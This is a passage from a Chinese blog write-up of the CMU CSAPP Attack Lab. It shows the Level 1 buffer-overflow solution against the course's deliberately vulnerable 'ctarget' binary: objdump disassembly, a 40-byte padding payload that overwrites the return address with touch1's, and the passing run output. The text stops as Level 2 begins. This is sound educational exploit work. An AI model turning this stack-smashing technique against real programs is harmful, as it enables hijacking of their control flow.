CMU_CSAPP_LAB3_ATTACKLAB

这篇博客详细记录了CMU_CSAPP实验的Level1到Level3,涉及代码注入攻击和返回导向编程。实验主要使用dbg和objdump工具,通过理解栈帧结构和利用汇编知识,逐步构造输入以触发特定行为。实验目的是熟悉程序控制、函数栈和调试工具的使用。
摘要由CSDN通过智能技术生成

本实验要仔细阅读对应的 write up ,上面给了大量的提示信息,主要是介绍两种攻击方式,分两部分,第一部分的方式对于现代计算机已经基本无效了,第二部分的方式过程比较繁杂,不过原理还是很容易理解的。实验的主要目的还是熟悉计算机的程序控制方式、函数栈帧的结构,以及熟练使用 dbg 和 objdump 工具进行调试。

本文讲解较少,可参照其他博客,有一些写的很好,附图讲解,思路清晰。

本文对实验过程的记录比较完整,包括了每一个数据和操作的来源。


PART1_Code_Injection_Attacks


LEVEL1

首先使用 abjdump 命令生成汇编代码的文本文件:

liuyuan@liuyuan-virtual-machine:~/Downloads/CSAPP/target1$ objdump -d ctarget > ctarget.txt

打开生成的 ctarget.txt 文件,找到相应的汇编代码:

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

由第一行可知,getbuf 函数调用时,开辟了 40 个字节的栈空间,如下图所示,开辟的空间是蓝色的部分,当我们输入的内容超过 40 个字节,超出的部分就会继续覆盖前面的内容。

根据栈的结构可知,蓝色相邻的部分就是 getbuf 函数调用结束后要返回的地址,于是我们找到函数 touch1 的入口地址:

00000000004017c0 <touch1>:

根据输入的顺序(Linux为小端法),我们前 40 字节的内容随意输入(比如08),接着再依次输入 c0 17 40 即可。

新建一个文档命名为 c_level1 ,输入如下内容:

 再通过 ./hex2raw 转化为字符串进行输入即可:

liuyuan@liuyuan-virtual-machine:~/Downloads/CSAPP/target1$ ./hex2raw < c_level1 | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 

LEVEL2

阅读文档,找到两个关键信息,第一个是函数 touch2 的地址,第

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值